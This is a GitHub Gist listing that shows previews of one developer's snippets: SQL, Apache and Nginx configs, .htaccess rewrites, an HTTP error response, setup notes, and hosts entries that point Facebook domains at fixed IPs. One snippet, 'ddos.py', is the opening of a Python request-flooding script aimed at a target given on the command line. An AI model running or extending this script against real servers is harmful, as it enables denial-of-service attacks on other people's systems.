Skip to content

Instantly share code, notes, and snippets.

@tinnguyenz
tinnguyenz / view_last_created_projects.feature
Created March 18, 2011 06:55
view last created projects
Feature: View last created projects in dashboard since 2 weeks
In order to view last created projects since 2 weeks
As a user in this system
I want to view last created projects since 2 weeks
################################################################################
#Background
################################################################################
Background:
Given the following users:
############################ SELLERS TABLE ###################################
########################################################################
create table sellers (
seller_id number primary key,
seller_name varchar2(45),
seller_description varchar2(250)
);
insert into sellers values (1, 'Saigon Tourist', 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.')
insert into sellers values (2, 'Pizza Hut', 'Temporibus autem quibusdam et aut officiis debitis aut rerum necessitatibus saepe eveniet ut et voluptates repudiandae sint et')
insert into sellers values (3, 'KFC', 'Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta')
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /home/tin/works/php/cake
<Directory />
Options FollowSymLinks
AllowOverride All
</Directory>
<Directory /home/tin/works/php/cake/>
Options Indexes FollowSymLinks MultiViews
#
# Based upon the NCSA server configuration files originally by Rob McCool.
#
# This is the main Apache server configuration file. It contains the
# configuration directives that give the server its instructions.
# See http://httpd.apache.org/docs/2.2/ for detailed information about
# the directives.
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
@tinnguyenz
tinnguyenz / user_reistration_error
Created September 21, 2011 04:39
Repose with error
HTTP/1.1 200 OK
Date: Wed, 21 Sep 2011 04:33:52 GMT
Server: Apache/2.2.20 (Unix) mod_ssl/2.2.20 OpenSSL/0.9.8e-fips-rhel5 PHP/5.3.8
X-Powered-By: PHP/5.3.8
Content-Length: 175
Connection: close
Content-Type: text/html; charset=UTF-8
<br />
<b>Fatal error</b>: Call to undefined function md5sum() in <b>/usr/local/apache2/htdocs/mst_webapi/trunk/application/controllers/users.php</b> on line <b>57</b><br />
@tinnguyenz
tinnguyenz / .htaccess
Created October 15, 2011 06:45
htaccess config CI
RewriteEngine On
RewriteCond %{REQUEST_URI} ^/system.*
RewriteRule ^(.*)$ index.php?/$1 [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.+)$ index.php?/$1 [L]
@tinnguyenz
tinnguyenz / ddos.py
Created October 25, 2011 10:28
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");
@tinnguyenz
tinnguyenz / Django fastcgi on Nginx
Created January 3, 2012 17:26
Django fastcgi on Nginx
worker_processes 2;
error_log /var/log/nginx/error_log info;
events {
worker_connections 1024;
use epoll;
}
http {
@tinnguyenz
tinnguyenz / MySQLdb on Centos (virtualenv)
Created January 5, 2012 17:49
MySQLdb on Centos (virtualenv)
Solved this issue in the following way
Copy MySQLdb folder from site-packages directory of Python2.7 to Python2.6.
Also copy the following files from site-packages directory of Python2.7 to Python2.6.
_mysql.so
_mysql_exceptions.py
_mysql_exceptions.pyc
60.254.175.42 facebook.com
60.254.175.42 www.facebook.com
60.254.175.42 register.facebook.com
60.254.175.42 www.logins.facebook.com
60.254.175.42 blog.facebook.com
60.254.175.42 logins.facebook.com
60.254.175.42 login.facebook.com
60.254.175.42 apps.facebook.com
153.16.15.71 upload.facebook.com
60.254.175.42 graph.facebook.com